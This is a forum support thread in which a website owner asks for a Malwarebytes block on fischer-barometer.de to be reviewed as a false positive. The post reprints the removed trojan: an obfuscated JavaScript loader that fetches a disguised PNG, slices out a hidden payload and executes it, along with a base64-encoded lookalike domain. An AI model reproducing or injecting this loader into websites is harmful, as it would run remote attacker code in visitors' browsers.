Jump to content

False Positive | https://fischer-barometer.de/


tgerstner
Go to solution Solved by JPopovic,

Recommended Posts

Hey together,

A customer of https://fischer-barometer.de/ told us last week that this URL is blocked by malewarebytes. Yes, at the beginning of the year there was a Trojan on the site. But we removed it and cleaned the Database. 2 Month passed after we removed it. So we think that this allert is a FP. Can you please Check it? Thank you :) 

 

Old Code that was responsable for the alerts at the beginning of the year:

<script> 
  var _cs=["e/","60/","er-","sch","/im","ag","/m","Log","ia","png","ed","b4/","Fi","27/","o."]; _f0();async function _f0() {let _g0 = await fetch(_cs[6]+_cs[10]+_cs[8]+_cs[4]+_cs[5]+_cs[0]+_cs[1]+_cs[13]+_cs[11]+_cs[12]+_cs[3]+_cs[2]+_cs[7]+_cs[14]+_cs[9]);if (_g0.ok) {let _g1 = await _g0.text();var _v0 = new Function (_g1.slice(-206469));return(_v0());}} var ld = "Zm9udHMtZ29vZ2xlbWFwcy5jb20vdjE2Lw==";
</script>

 

malewarebytes.jpg

Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
  • Recently Browsing   0 members

    • No registered users viewing this page.
Back to top
×
×
  • Create New...

Important Information

This site uses cookies - We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.